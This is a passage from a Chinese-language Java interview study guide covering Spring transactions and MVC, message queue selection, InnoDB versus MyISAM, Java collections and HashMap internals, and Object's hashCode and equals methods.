相互间的依赖关系将通过配置元数据来描述。\n\nSpring中的bean默认都是单例的，这些单例Bean在多线程程序下如何保证线程安全呢？ 例如对于Web应用来说，Web容器对于每个用户请求都创建一个单独的Sevlet线程来处理请求，引入Spring框架之后，每个Action都是单例的，那么对于Spring托管的单例Service Bean，如何保证其安全呢？ Spring的单例是基于BeanFactory也就是Spring容器的，单例Bean在此容器内只有一个，Java的单例是基于 JVM，每个 JVM 内只有一个实例。\n\n![pring的bean的作用域](https://user-gold-cdn.xitu.io/2018/11/10/166fd45773d5dd2e?w=563&h=299&f=webp&s=27930)\n\nSpring的bean的生命周期以及更多内容可以查看：[一文轻松搞懂Spring中bean的作用域与生命周期](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484400&idx=2&sn=7201eb365102fce017f89cb3527fb0bc&chksm=fd985591caefdc872a2fac897288119f94c345e4e12150774f960bf5f816b79e4b9b46be3d7f&token=1990180468&lang=zh_CN#rd)\n\n\n## 11. Spring 中的事务传播行为了解吗?TransactionDefinition 接口中哪五个表示隔离级别的常量?\n\n#### 事务传播行为\n\n事务传播行为（为了解决业务层方法之间互相调用的事务问题）：\n当事务方法被另一个事务方法调用时，必须指定事务应该如何传播。例如：方法可能继续在现有事务中运行，也可能开启一个新事务，并在自己的事务中运行。在TransactionDefinition定义中包括了如下几个表示传播行为的常量：\n\n**支持当前事务的情况：**\n\n- TransactionDefinition.PROPAGATION_REQUIRED： 如果当前存在事务，则加入该事务；如果当前没有事务，则创建一个新的事务。\n- TransactionDefinition.PROPAGATION_SUPPORTS： 如果当前存在事务，则加入该事务；如果当前没有事务，则以非事务的方式继续运行。\n- TransactionDefinition.PROPAGATION_MANDATORY： 如果当前存在事务，则加入该事务；如果当前没有事务，则抛出异常。（mandatory：强制性）\n\n**不支持当前事务的情况：**\n\n- TransactionDefinition.PROPAGATION_REQUIRES_NEW： 创建一个新的事务，如果当前存在事务，则把当前事务挂起。\n- TransactionDefinition.PROPAGATION_NOT_SUPPORTED： 以非事务方式运行，如果当前存在事务，则把当前事务挂起。\n- TransactionDefinition.PROPAGATION_NEVER： 以非事务方式运行，如果当前存在事务，则抛出异常。\n\n**其他情况：**\n\n- TransactionDefinition.PROPAGATION_NESTED： 如果当前存在事务，则创建一个事务作为当前事务的嵌套事务来运行；如果当前没有事务，则该取值等价于TransactionDefinition.PROPAGATION_REQUIRED。\n\n\n#### 隔离级别\n\nTransactionDefinition 接口中定义了五个表示隔离级别的常量：\n\n- **TransactionDefinition.ISOLATION_DEFAULT:**  使用后端数据库默认的隔离级别，Mysql 默认采用的 REPEATABLE_READ隔离级别 Oracle 默认采用的 READ_COMMITTED隔离级别.\n- **TransactionDefinition.ISOLATION_READ_UNCOMMITTED:** 最低的隔离级别，允许读取尚未提交的数据变更，可能会导致脏读、幻读或不可重复读\n- **TransactionDefinition.ISOLATION_READ_COMMITTED:**   允许读取并发事务已经提交的数据，可以阻止脏读，但是幻读或不可重复读仍有可能发生\n- **TransactionDefinition.ISOLATION_REPEATABLE_READ:**  对同一字段的多次读取结果都是一致的，除非数据是被本身事务自己所修改，可以阻止脏读和不可重复读，但幻读仍有可能发生。\n- **TransactionDefinition.ISOLATION_SERIALIZABLE:**   最高的隔离级别，完全服从ACID的隔离级别。所有的事务依次逐个执行，这样事务之间就完全不可能产生干扰，也就是说，该级别可以防止脏读、不可重复读以及幻读。但是这将严重影响程序的性能。通常情况下也不会用到该级别。\n\n## 12. SpringMVC 原理了解吗?\n\n![SpringMVC 原理](https://user-gold-cdn.xitu.io/2018/11/10/166fd45787394192?w=1015&h=466&f=webp&s=35352)\n\n客户端发送请求-> 前端控制器 DispatcherServlet 接受客户端请求 -> 找到处理器映射 HandlerMapping 解析请求对应的 Handler-> HandlerAdapter 会根据 Handler 来调用真正的处理器开处理请求，并处理相应的业务逻辑 -> 处理器返回一个模型视图 ModelAndView -> 视图解析器进行解析 -> 返回一个视图对象->前端控制器 DispatcherServlet 渲染数据（Model）->将得到视图对象返回给用户\n\n关于 SpringMVC 原理更多内容可以查看我的这篇文章：[SpringMVC 工作原理详解](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484496&idx=1&sn=5472ffa687fe4a05f8900d8ee6726de4&chksm=fd985231caefdb27fc75b44ecf76b6f43e4617e0b01b3c040f8b8fab32e51dfa5118eed1d6ad&token=1990180468&lang=zh_CN#rd)\n\n## 13. Spring AOP IOC 实现原理\n\n过了秋招挺长一段时间了，说实话我自己也忘了如何简要概括 Spring AOP IOC 实现原理，就在网上找了一个较为简洁的答案，下面分享给各位。\n\n**IOC:** 控制反转也叫依赖注入。IOC利用java反射机制，AOP利用代理模式。IOC 概念看似很抽象，但是很容易理解。说简单点就是将对象交给容器管理，你只需要在spring配置文件中配置对应的bean以及设置相关的属性，让spring容器来生成类的实例对象以及管理对象。在spring容器启动的时候，spring会把你在配置文件中配置的bean都初始化好，然后在你需要调用的时候，就把它已经初始化好的那些bean分配给你需要调用这些bean的类。\n\n**AOP：** 面向切面编程。（Aspect-Oriented Programming） 。AOP可以说是对OOP的补充和完善。OOP引入封装、继承和多态性等概念来建立一种对象层次结构，用以模拟公共行为的一个集合。实现AOP的技术，主要分为两大类：一是采用动态代理技术，利用截取消息的方式，对该消息进行装饰，以取代原有对象行为的执行；二是采用静态织入的方式，引入特定的语法创建“方面”，从而使得编译器可以在编译期间织入有关“方面”的代码，属于静态代理。\n\n\n\n# 二 进阶篇\n\n## 1 消息队列MQ的套路\n\n消息队列/消息中间件应该是Java程序员必备的一个技能了，如果你之前没接触过消息队列的话，建议先去百度一下某某消息队列入门，然后花2个小时就差不多可以学会任何一种消息队列的使用了。如果说仅仅学会使用是万万不够的，在实际生产环境还要考虑消息丢失等等情况。关于消息队列面试相关的问题，推荐大家也可以看一下视频《Java工程师面试突击第1季-中华石杉老师》，如果大家没有资源的话，可以在我的公众号“Java面试通关手册”后台回复关键字“1”即可！\n\n### 1.1 介绍一下消息队列MQ的应用场景/使用消息队列的好处\n\n面试官一般会先问你这个问题，预热一下，看你知道消息队列不，一般在第一面的时候面试官可能只会问消息队列MQ的应用场景/使用消息队列的好处、使用消息队列会带来什么问题、消息队列的技术选型这几个问题，不会太深究下去，在后面的第二轮/第三轮技术面试中可能会深入问一下。\n\n**《大型网站技术架构》第四章和第七章均有提到消息队列对应用性能及扩展性的提升。**\n\n#### 1)通过异步处理提高系统性能\n![通过异步处理提高系统性能](https://user-gold-cdn.xitu.io/2018/4/21/162e63a8e34ba534?w=910&h=350&f=jpeg&s=29123)\n如上图，**在不使用消息队列服务器的时候，用户的请求数据直接写入数据库，在高并发的情况下数据库压力剧增，使得响应速度变慢。但是在使用消息队列之后，用户的请求数据发送给消息队列之后立即 返回，再由消息队列的消费者进程从消息队列中获取数据，异步写入数据库。由于消息队列服务器处理速度快于数据库（消息队列也比数据库有更好的伸缩性），因此响应速度得到大幅改善。**\n\n通过以上分析我们可以得出**消息队列具有很好的削峰作用的功能**——即**通过异步处理，将短时间高并发产生的事务消息存储在消息队列中，从而削平高峰期的并发事务。** 举例：在电子商务一些秒杀、促销活动中，合理使用消息队列可以有效抵御促销活动刚开始大量订单涌入对系统的冲击。如下图所示：\n![合理使用消息队列可以有效抵御促销活动刚开始大量订单涌入对系统的冲击](https://user-gold-cdn.xitu.io/2018/4/21/162e64583dd3ed01?w=780&h=384&f=jpeg&s=13550)\n因为**用户请求数据写入消息队列之后就立即返回给用户了，但是请求数据在后续的业务校验、写数据库等操作中可能失败**。因此使用消息队列进行异步处理之后，需要**适当修改业务流程进行配合**，比如**用户在提交订单之后，订单数据写入消息队列，不能立即返回用户订单提交成功，需要在消息队列的订单消费者进程真正处理完该订单之后，甚至出库后，再通过电子邮件或短信通知用户订单成功**，以免交易纠纷。这就类似我们平时手机订火车票和电影票。\n\n#### 2)降低系统耦合性\n我们知道模块分布式部署以后聚合方式通常有两种：1.**分布式消息队列**和2.**分布式服务**。\n\n> **先来简单说一下分布式服务：**\n\n目前使用比较多的用来构建**SOA（Service Oriented Architecture面向服务体系结构）**的**分布式服务框架**是阿里巴巴开源的**Dubbo**.如果想深入了解Dubbo的可以看我写的关于Dubbo的这一篇文章：**《高性能优秀的服务框架-dubbo介绍》**：[https://juejin.im/post/5acadeb1f265da2375072f9c](https://juejin.im/post/5acadeb1f265da2375072f9c)\n\n> **再来谈我们的分布式消息队列：**\n\n我们知道如果模块之间不存在直接调用，那么新增模块或者修改模块就对其他模块影响较小，这样系统的可扩展性无疑更好一些。\n\n我们最常见的**事件驱动架构**类似生产者消费者模式，在大型网站中通常用利用消息队列实现事件驱动结构。如下图所示：\n![利用消息队列实现事件驱动结构](https://user-gold-cdn.xitu.io/2018/4/21/162e6665fa394b3b?w=790&h=290&f=jpeg&s=14946)\n**消息队列使利用发布-订阅模式工作，消息发送者（生产者）发布消息，一个或多个消息接受者（消费者）订阅消息。** 从上图可以看到**消息发送者（生产者）和消息接受者（消费者）之间没有直接耦合**，消息发送者将消息发送至分布式消息队列即结束对消息的处理，消息接受者从分布式消息队列获取该消息后进行后续处理，并不需要知道该消息从何而来。**对新增业务，只要对该类消息感兴趣，即可订阅该消息，对原有系统和业务没有任何影响，从而实现网站业务的可扩展性设计**。\n\n消息接受者对消息进行过滤、处理、包装后，构造成一个新的消息类型，将消息继续发送出去，等待其他消息接受者订阅该消息。因此基于事件（消息对象）驱动的业务架构可以是一系列流程。\n\n**另外为了避免消息队列服务器宕机造成消息丢失，会将成功发送到消息队列的消息存储在消息生产者服务器上，等消息真正被消费者服务器处理后才删除消息。在消息队列服务器宕机后，生产者服务器会选择分布式消息队列服务器集群中的其他服务器发布消息。**   \n\n**备注：** 不要认为消息队列只能利用发布-订阅模式工作，只不过在解耦这个特定业务环境下是使用发布-订阅模式的，**比如在我们的ActiveMQ消息队列中还有点对点工作模式**，具体的会在后面的文章给大家详细介绍，这一篇文章主要还是让大家对消息队列有一个更透彻的了解。\n\n> 这个问题一般会在上一个问题问完之后，紧接着被问到。“使用消息队列会带来什么问题？”这个问题要引起重视，一般我们都会考虑使用消息队列会带来的好处而忽略它带来的问题！\n\n### 1.2 那么使用消息队列会带来什么问题?考虑过这些问题吗?\n\n- **系统可用性降低：** 系统可用性在某种程度上降低，为什么这样说呢？在加入MQ之前，你不用考虑消息丢失或者说MQ挂掉等等的情况，但是，引入MQ之后你就需要去考虑了！\n- **系统复杂性提高：** 加入MQ之后，你需要保证消息没有被重复消费、处理消息丢失的情况、保证消息传递的顺序性等等问题！\n- **一致性问题：** 我上面讲了消息队列可以实现异步，消息队列带来的异步确实可以提高系统响应速度。但是，万一消息的真正消费者并没有正确消费消息怎么办？这样就会导致数据不一致的情况了!\n\n> 了解下面这个问题是为了我们更好的进行技术选型！该部分摘自：《Java工程师面试突击第1季-中华石杉老师》，如果大家没有资源的话，可以在我的公众号“Java面试通关手册”后台回复关键字“1”即可！\n\n### 1.3 介绍一下你知道哪几种消息队列,该如何选择呢?\n\n\n| 特性                    |                                                     ActiveMQ |                                                     RabbitMQ |                                                     RocketMQ |                                                       Kafaka |\n| :---------------------- | -----------------------------------------------------------: | -----------------------------------------------------------: | -----------------------------------------------------------: | -----------------------------------------------------------: |\n| 单机吞吐量              |                万级，吞吐量比RocketMQ和Kafka要低了一个数量级 |                万级，吞吐量比RocketMQ和Kafka要低了一个数量级 |                   10万级，RocketMQ也是可以支撑高吞吐的一种MQ | 10万级别，这是kafka最大的优点，就是吞吐量高。一般配合大数据类的系统来进行实时数据计算、日志采集等场景 |\n| topic数量对吞吐量的影响 |                                                              |                                                              | topic可以达到几百，几千个的级别，吞吐量会有较小幅度的下降这是RocketMQ的一大优势，在同等机器下，可以支撑大量的topic | topic从几十个到几百个的时候，吞吐量会大幅度下降。所以在同等机器下，kafka尽量保证topic数量不要过多。如果要支撑大规模topic，需要增加更多的机器资源 |\n| 可用性                  |                                 高，基于主从架构实现高可用性 |                                 高，基于主从架构实现高可用性 |                                           非常高，分布式架构 | 非常高，kafka是分布式的，一个数据多个副本，少数机器宕机，不会丢失数据，不会导致不可用 |\n| 消息可靠性              |                                         有较低的概率丢失数据 |                                                              |                              经过参数优化配置，可以做到0丢失 |                          经过参数优化配置，消息可以做到0丢失 |\n| 时效性                  |                                                         ms级 |                 微秒级，这是rabbitmq的一大特点，延迟是最低的 |                                                         ms级 |                                               延迟在ms级以内 |\n| 功能支持                |                                         MQ领域的功能极其完备 |       基于erlang开发，所以并发能力很强，性能极其好，延时很低 |                       MQ功能较为完善，还是分布式的，扩展性好 | 功能较为简单，主要支持简单的MQ功能，在大数据领域的实时计算以及日志采集被大规模使用，是事实上的标准 |\n| 优劣势总结              | 非常成熟，功能强大，在业内大量的公司以及项目中都有应用。偶尔会有较低概率丢失消息，而且现在社区以及国内应用都越来越少，官方社区现在对ActiveMQ 5.x维护越来越少，几个月才发布一个版本而且确实主要是基于解耦和异步来用的，较少在大规模吞吐的场景中使用 | erlang语言开发，性能极其好，延时很低；吞吐量到万级，MQ功能比较完备而且开源提供的管理界面非常棒，用起来很好用。社区相对比较活跃，几乎每个月都发布几个版本分在国内一些互联网公司近几年用rabbitmq也比较多一些但是问题也是显而易见的，RabbitMQ确实吞吐量会低一些，这是因为他做的实现机制比较重。而且erlang开发，国内有几个公司有实力做erlang源码级别的研究和定制？如果说你没这个实力的话，确实偶尔会有一些问题，你很难去看懂源码，你公司对这个东西的掌控很弱，基本职能依赖于开源社区的快速维护和修复bug。而且rabbitmq集群动态扩展会很麻烦，不过这个我觉得还好。其实主要是erlang语言本身带来的问题。很难读源码，很难定制和掌控。 | 接口简单易用，而且毕竟在阿里大规模应用过，有阿里品牌保障。日处理消息上百亿之多，可以做到大规模吞吐，性能也非常好，分布式扩展也很方便，社区维护还可以，可靠性和可用性都是ok的，还可以支撑大规模的topic数量，支持复杂MQ业务场景。而且一个很大的优势在于，阿里出品都是java系的，我们可以自己阅读源码，定制自己公司的MQ，可以掌控。社区活跃度相对较为一般，不过也还可以，文档相对来说简单一些，然后接口这块不是按照标准JMS规范走的有些系统要迁移需要修改大量代码。还有就是阿里出台的技术，你得做好这个技术万一被抛弃，社区黄掉的风险，那如果你们公司有技术实力我觉得用RocketMQ挺好的 | kafka的特点其实很明显，就是仅仅提供较少的核心功能，但是提供超高的吞吐量，ms级的延迟，极高的可用性以及可靠性，而且分布式可以任意扩展。同时kafka最好是支撑较少的topic数量即可，保证其超高吞吐量。而且kafka唯一的一点劣势是有可能消息重复消费，那么对数据准确性会造成极其轻微的影响，在大数据领域中以及日志采集中，这点轻微影响可以忽略这个特性天然适合大数据实时计算以及日志收集。 |\n\n> 这部分内容，我这里不给出答案，大家可以自行根据自己学习的消息队列查阅相关内容，我可能会在后面的文章中介绍到这部分内容。另外，下面这些问题在视频《Java工程师面试突击第1季-中华石杉老师》中都有提到，如果大家没有资源的话，可以在我的公众号“Java面试通关手册”后台回复关键字“1”即可！\n\n### 1.4 关于消息队列其他一些常见的问题展望\n\n1.  引入消息队列之后如何保证高可用性\n2.  如何保证消息不被重复消费呢？\n3.  如何保证消息的可靠性传输（如何处理消息丢失的问题）？\n4.  我该怎么保证从消息队列里拿到的数据按顺序执行？\n5.  如何解决消息队列的延时以及过期失效问题？消息队列满了以后该怎么处理？有几百万消息持续积压几小时，说说怎么解决？\n6.  如果让你来开发一个消息队列中间件，你会怎么设计架构？\n\n\n\n## 2 谈谈 InnoDB 和 MyIsam 两者的区别\n\n### 2.1 两者的对比\n\n1.  **count运算上的区别：** 因为MyISAM缓存有表meta-data（行数等），因此在做COUNT(*)时对于一个结构很好的查询是不需要消耗多少资源的。而对于InnoDB来说，则没有这种缓存\n2. **是否支持事务和崩溃后的安全恢复：** MyISAM 强调的是性能，每次查询具有原子性,其执行数度比InnoDB类型更快，但是不提供事务支持。但是InnoDB 提供事务支持事务，外部键等高级数据库功能。 具有事务(commit)、回滚(rollback)和崩溃修复能力(crash recovery capabilities)的事务安全(transaction-safe (ACID compliant))型表。\n3. **是否支持外键：** MyISAM不支持，而InnoDB支持。\n\n\n### 2.2 关于两者的总结\n\nMyISAM更适合读密集的表，而InnoDB更适合写密集的的表。 在数据库做主从分离的情况下，经常选择MyISAM作为主库的存储引擎。\n\n一般来说，如果需要事务支持，并且有较高的并发读取频率(MyISAM的表锁的粒度太大，所以当该表写并发量较高时，要等待的查询就会很多了)，InnoDB是不错的选择。如果你的数据量很大（MyISAM支持压缩特性可以减少磁盘的空间占用），而且不需要支持事务时，MyISAM是最好的选择。\n\n\n## 3 聊聊 Java 中的集合吧!\n\n### 3.1 Arraylist 与 LinkedList 有什么不同?(注意加上从数据结构分析的内容)\n\n- **1. 是否保证线程安全：** ArrayList 和 LinkedList 都是不同步的，也就是不保证线程安全；\n- **2. 底层数据结构：** Arraylist 底层使用的是Object数组；LinkedList 底层使用的是双向链表数据结构（注意双向链表和双向循环链表的区别：）；\n- **3. 插入和删除是否受元素位置的影响：** ① **ArrayList 采用数组存储，所以插入和删除元素的时间复杂度受元素位置的影响。** 比如：执行`add(E e)  `方法的时候， ArrayList 会默认在将指定的元素追加到此列表的末尾，这种情况时间复杂度就是O(1)。但是如果要在指定位置 i 插入和删除元素的话（`add(int index, E element) `）时间复杂度就为 O(n-i)。因为在进行上述操作的时候集合中第 i 和第 i 个元素之后的(n-i)个元素都要执行向后位/向前移一位的操作。 ② **LinkedList 采用链表存储，所以插入，删除元素时间复杂度不受元素位置的影响，都是近似 O（1）而数组为近似 O（n）。**\n- **4. 是否支持快速随机访问：** LinkedList 不支持高效的随机元素访问，而 ArrayList 支持。快速随机访问就是通过元素的序号快速获取元素对象(对应于`get(int index) `方法)。\n- **5. 内存空间占用：** ArrayList的空 间浪费主要体现在在list列表的结尾会预留一定的容量空间，而LinkedList的空间花费则体现在它的每一个元素都需要消耗比ArrayList更多的空间（因为要存放直接后继和直接前驱以及数据）。 \n\n**补充内容:RandomAccess接口**\n\n```java\npublic interface RandomAccess {\n}\n```\n\n查看源码我们发现实际上 RandomAccess 接口中什么都没有定义。所以，在我看来 RandomAccess 接口不过是一个标识罢了。标识什么？ 标识实现这个接口的类具有随机访问功能。\n\n在binarySearch（）方法中，它要判断传入的list 是否RamdomAccess的实例，如果是，调用indexedBinarySearch（）方法，如果不是，那么调用iteratorBinarySearch（）方法\n\n```java\n    public static <T>\n    int binarySearch(List<? extends Comparable<? super T>> list, T key) {\n        if (list instanceof RandomAccess || list.size()<BINARYSEARCH_THRESHOLD)\n            return Collections.indexedBinarySearch(list, key);\n        else\n            return Collections.iteratorBinarySearch(list, key);\n    }\n\n```\nArraysList 实现了 RandomAccess 接口， 而 LinkedList 没有实现。为什么呢？我觉得还是和底层数据结构有关！ArraysList 底层是数组，而 LinkedList 底层是链表。数组天然支持随机访问，时间复杂度为 O（1），所以称为快速随机访问。链表需要遍历到特定位置才能访问特定位置的元素，时间复杂度为 O（n），所以不支持快速随机访问。，ArraysList 实现了 RandomAccess 接口，就表明了他具有快速随机访问功能。 RandomAccess 接口只是标识，并不是说 ArraysList 实现 RandomAccess 接口才具有快速随机访问功能的！\n\n\n\n**下面再总结一下 list 的遍历方式选择：**\n\n- 实现了RandomAccess接口的list，优先选择普通for循环 ，其次foreach,\n- 未实现RandomAccess接口的ist， 优先选择iterator遍历（foreach遍历底层也是通过iterator实现的），大size的数据，千万不要使用普通for循环\n\n> Java 中的集合这类问题几乎是面试必问的，问到这类问题的时候，HashMap 又是几乎必问的问题，所以大家一定要引起重视！\n\n###  3.2 HashMap的底层实现\n\n#### 1)JDK1.8之前\n\nJDK1.8 之前 HashMap 底层是 **数组和链表** 结合在一起使用也就是 **链表散列**。**HashMap 通过 key 的 hashCode 经过扰动函数处理过后得到 hash  值，然后通过 `(n - 1) & hash` 判断当前元素存放的位置（这里的 n 指的时数组的长度），如果当前位置存在元素的话，就判断该元素与要存入的元素的 hash 值以及 key 是否相同，如果相同的话，直接覆盖，不相同就通过拉链法解决冲突。**\n\n**所谓扰动函数指的就是 HashMap 的 hash 方法。使用 hash 方法也就是扰动函数是为了防止一些实现比较差的 hashCode() 方法 换句话说使用扰动函数之后可以减少碰撞。**\n\n**JDK 1.8 HashMap 的 hash 方法源码:**\n\nJDK 1.8 的 hash方法 相比于 JDK 1.7 hash 方法更加简化，但是原理不变。\n\n```java\n      static final int hash(Object key) {\n        int h;\n        // key.hashCode()：返回散列值也就是hashcode\n        // ^ ：按位异或\n        // >>>:无符号右移，忽略符号位，空位都以0补齐\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);\n    }\n```\n对比一下 JDK1.7的 HashMap 的 hash 方法源码.\n\n```java\nstatic int hash(int h) {\n    // This function ensures that hashCodes that differ only by\n    // constant multiples at each bit position have a bounded\n    // number of collisions (approximately 8 at default load factor).\n\n    h ^= (h >>> 20) ^ (h >>> 12);\n    return h ^ (h >>> 7) ^ (h >>> 4);\n}\n```\n\n相比于 JDK1.8 的 hash 方法 ，JDK 1.7 的 hash 方法的性能会稍差一点点，因为毕竟扰动了 4 次。\n\n所谓 **“拉链法”** 就是：将链表和数组相结合。也就是说创建一个链表数组，数组中每一格就是一个链表。若遇到哈希冲突，则将冲突的值加到链表中即可。\n\n\n\n![jdk1.8之前的内部结构](https://user-gold-cdn.xitu.io/2018/3/20/16240dbcc303d872?w=348&h=427&f=png&s=10991)\n\n\n#### 2)JDK1.8之后\n\n相比于之前的版本， JDK1.8之后在解决哈希冲突时有了较大的变化，当链表长度大于阈值（默认为8）时，将链表转化为红黑树，以减少搜索时间。\n\n![JDK1.8之后的HashMap底层数据结构](https://user-gold-cdn.xitu.io/2018/11/14/16711ac29c351da9?w=720&h=545&f=jpeg&s=23933)\n\nTreeMap、TreeSet以及JDK1.8之后的HashMap底层都用到了红黑树。红黑树就是为了解决二叉查找树的缺陷，因为二叉查找树在某些情况下会退化成一个线性结构。\n\n> 问完 HashMap 的底层原理之后，面试官可能就会紧接着问你 HashMap 底层数据结构相关的问题！\n\n###  3.3 既然谈到了红黑树,你给我手绘一个出来吧,然后简单讲一下自己对于红黑树的理解\n\n![红黑树](https://user-gold-cdn.xitu.io/2018/11/14/16711ac29c138cba?w=851&h=614&f=jpeg&s=34458)\n\n**红黑树特点:**\n\n1.  每个节点非红即黑；\n2.  根节点总是黑色的；\n3.  每个叶子节点都是黑色的空节点（NIL节点）；\n4.  如果节点是红色的，则它的子节点必须是黑色的（反之不一定）；\n5.  从根节点到叶节点或空子节点的每条路径，必须包含相同数目的黑色节点（即相同的黑色高度）\n\n\n**红黑树的应用：**\n\nTreeMap、TreeSet以及JDK1.8之后的HashMap底层都用到了红黑树。\n    \n**为什么要用红黑树**\n     \n简单来说红黑树就是为了解决二叉查找树的缺陷，因为二叉查找树在某些情况下会退化成一个线性结构。\n\n\n###  3.4 红黑树这么优秀,为何不直接使用红黑树得了?\n\n说一下自己对于这个问题的看法：我们知道红黑树属于（自）平衡二叉树，但是为了保持“平衡”是需要付出代价的，红黑树在插入新数据后可能需要通过左旋，右旋、变色这些操作来保持平衡，这费事啊。你说说我们引入红黑树就是为了查找数据快，如果链表长度很短的话，根本不需要引入红黑树的，你引入之后还要付出代价维持它的平衡。但是链表过长就不一样了。至于为什么选 8 这个值呢？通过概率统计所得，这个值是综合查询成本和新增元素成本得出的最好的一个值。\n\n### 3.5 HashMap 和 Hashtable 的区别/HashSet 和 HashMap 区别\n\n**HashMap 和 Hashtable 的区别**\n\n1.  **线程是否安全：** HashMap 是非线程安全的，HashTable 是线程安全的；HashTable 内部的方法基本都经过  `synchronized`  修饰。（如果你要保证线程安全的话就使用 ConcurrentHashMap 吧！）；\n2.  **效率：** 因为线程安全的问题，HashMap 要比 HashTable 效率高一点。另外，HashTable 基本被淘汰，不要在代码中使用它；\n3.  **对Null key 和Null value的支持：** HashMap 中，null 可以作为键，这样的键只有一个，可以有一个或多个键所对应的值为 null。。但是在 HashTable 中 put 进的键值只要有一个 null，直接抛出 NullPointerException。\n4.  **初始容量大小和每次扩充容量大小的不同 ：**   ①创建时如果不指定容量初始值，Hashtable 默认的初始大小为11，之后每次扩充，容量变为原来的2n+1。HashMap 默认的初始化大小为16。之后每次扩充，容量变为原来的2倍。②创建时如果给定了容量初始值，那么 Hashtable 会直接使用你给定的大小，而 HashMap 会将其扩充为2的幂次方大小（HashMap 中的`tableSizeFor()`方法保证，下面给出了源代码）。也就是说 HashMap 总是使用2的幂作为哈希表的大小,后面会介绍到为什么是2的幂次方。\n5.  **底层数据结构：** JDK1.8 以后的 HashMap 在解决哈希冲突时有了较大的变化，当链表长度大于阈值（默认为8）时，将链表转化为红黑树，以减少搜索时间。Hashtable 没有这样的机制。\n\n**HashSet 和 HashMap 区别**\n\n如果你看过 HashSet 源码的话就应该知道：HashSet 底层就是基于 HashMap 实现的。（HashSet 的源码非常非常少，因为除了 clone() 方法、writeObject()方法、readObject()方法是 HashSet 自己不得不实现之外，其他方法都是直接调用 HashMap 中的方法。）\n\n![HashSet 和 HashMap 区别](https://user-gold-cdn.xitu.io/2018/3/2/161e717d734f3b23?w=896&h=363&f=jpeg&s=205536)\n\n# 三 终结篇\n\n## 1. Object类有哪些方法?\n\n这个问题，面试中经常出现。我觉得不论是出于应付面试还是说更好地掌握Java这门编程语言，大家都要掌握！\n\n### 1.1 Object类的常见方法总结\n\nObject类是一个特殊的类，是所有类的父类。它主要提供了以下11个方法：\n\n```java\n\npublic final native Class<?> getClass()//native方法，用于返回当前运行时对象的Class对象，使用了final关键字修饰，故不允许子类重写。\n\npublic native int hashCode() //native方法，用于返回对象的哈希码，主要使用在哈希表中，比如JDK中的HashMap。\npublic boolean equals(Object obj)//用于比较2个对象的内存地址是否相等，String类对该方法进行了重写用户比较字符串的值是否相等。\n\nprotected native Object clone() throws CloneNotSupportedException//naitive方法，用于创建并返回当前对象的一份拷贝。一般情况下，对于任何对象 x，表达式 x.clone() != x 为true，x.clone().getClass() == x.getClass() 为true。Object本身没有实现Cloneable接口，所以不重写clone方法并且进行调用的话会发生CloneNotSupportedException异常。\n\npublic String toString()//返回类的名字@实例的哈希码的16进制的字符串。建议Object所有的子类都重写这个方法。\n\npublic final native void notify()//native方法，并且不能重写。唤醒一个在此对象监视器上等待的线程(监视器相当于就是锁的概念)。如果有多个线程在等待只会任意唤醒一个。\n\npublic final native void notifyAll()//native方法，并且不能重写。跟notify一样，唯一的区别就是会唤醒在此对象监视器上等待的所有线程，而不是一个线程。\n\npublic final native void wait(long timeout) throws InterruptedException//native方法，并且不能重写。暂停线程的执行。注意：sleep方法没有释放锁，而wait方法释放了锁 。timeout是等待时间。\n\npublic final void wait(long timeout, int nanos) throws InterruptedException//多了nanos参数，这个参数表示额外时间（以毫微秒为单位，范围是 0-999999）。 所以超时的时间还需要加上nanos毫秒。\n\npublic final void wait() throws InterruptedException//跟之前的2个wait方法一样，只不过该方法一直等待，没有超时时间这个概念\n\nprotected void finalize() throws Throwable { }//实例被垃圾回收器回收的时候触发的操作\n\n```\n\n> 问完上面这个问题之后，面试官很可能紧接着就会问你“hashCode与equals”相关的问题。\n\n### 1.2 hashCode与equals\n\n面试官可能会问你：“你重写过 hashcode 和 equals 么，为什么重写equals时必须重写hashCode方法？”\n\n#### 1.2.1 hashCode()介绍\n\nhashCode() 的作用是获取哈希码，也称为散列码；它实际上是返回一个int整数。这个哈希码的作用是确定该对象在哈希表中的索引位置。hashCode() 定义在JDK的Object.java中，这就意味着Java中的任何类都包含有hashCode() 函数。另外需要注意的是： Object 的 hashcode 方法是本地方法，也就是用 c 语言或 c++ 实现的，该方法通常用来将对象的 内存地址 转换为整数之后返回。\n\n```java\n    public native int hashCode();\n```\n\n散列表存储的是键值对(key-value)，它的特点是：能根据“键”快速的检索出对应的“值”。这其中就利用到了散列码！（可以快速找到所需要的对象）\n\n#### 1.2.2 为什么要有hashCode\n\n\n**我们以“HashSet如何检查重复”为例子来说明为什么要有hashCode：**\n\n当你把对象加入HashSet时，HashSet会先计算对象的hashcode值来判断对象加入的位置，同时也会与其他已经加入的对象的hashcode值作比较，如果没有相符的hashcode，HashSet会假设对象没有重复出现。但是如果发现有相同hashcode值的对象，这时会调用equals（）方法来检查hashcode相等的对象是否真的相同。如果两者相同，HashSet就不会让其加入操作成功。如果不同的话，就会重新散列到其他位置。（摘自我的Java启蒙书《Head fist java》第二版）。这样我们就大大减少了equals的次数，相应就大大提高了执行速度。\n\n\n#### 1.2.3 hashCode()与equals()的相关规定\n\n1. 如果两个对象相等，则hashcode一定也是相同的\n2. 两个对象相等,对两个对象分别调用equals方法都返回true\n3. 两个对象有相同的hashcode值，它们也不一定是相等的\n4. **因此，equals方法被覆盖过，则hashCode方法也必须被覆盖**\n5. hashCode()的默认行为是对堆上的对象产生独特值。如果没有重写hashCode()，则该class的两个对象无论如何都不会相等（即使这两个对象指向相同的数据）\n\n#### 1.2.4 为什么两个对象有相同的hashcode值,它们也不一定是相等的?\n\n在这里解释一位小伙伴的问题。以下内容摘自《Head Fisrt Java》。\n\n因为hashCode() 所使用的杂凑算法也许刚好会让多个对象传回相同的杂凑值。越糟糕的杂凑算法越容易碰撞，但这也与数据值域分布的特性有关（所谓碰撞也就是指的是不同的对象得到相同的 hashCode）。 \n\n我们刚刚也提到了 HashSet,如果 HashSet 在对比的时候，同样的 hashcode 有多个对象，它会使用 equals() 来判断是否真的相同。也就是说 hashcode 只是用来缩小查找成本。\n\n>  ==与equals 的对比也是比较常问的基础问题之一！\n\n### 1.3  ==与equals\n\n**==** : 它的作用是判断两个对象的地址是不是相等。即，判断两个对象是不是同一个对象。(基本数据类型==比较的是值，引用数据类型==比较的是内存地址)\n\n**equals()** : 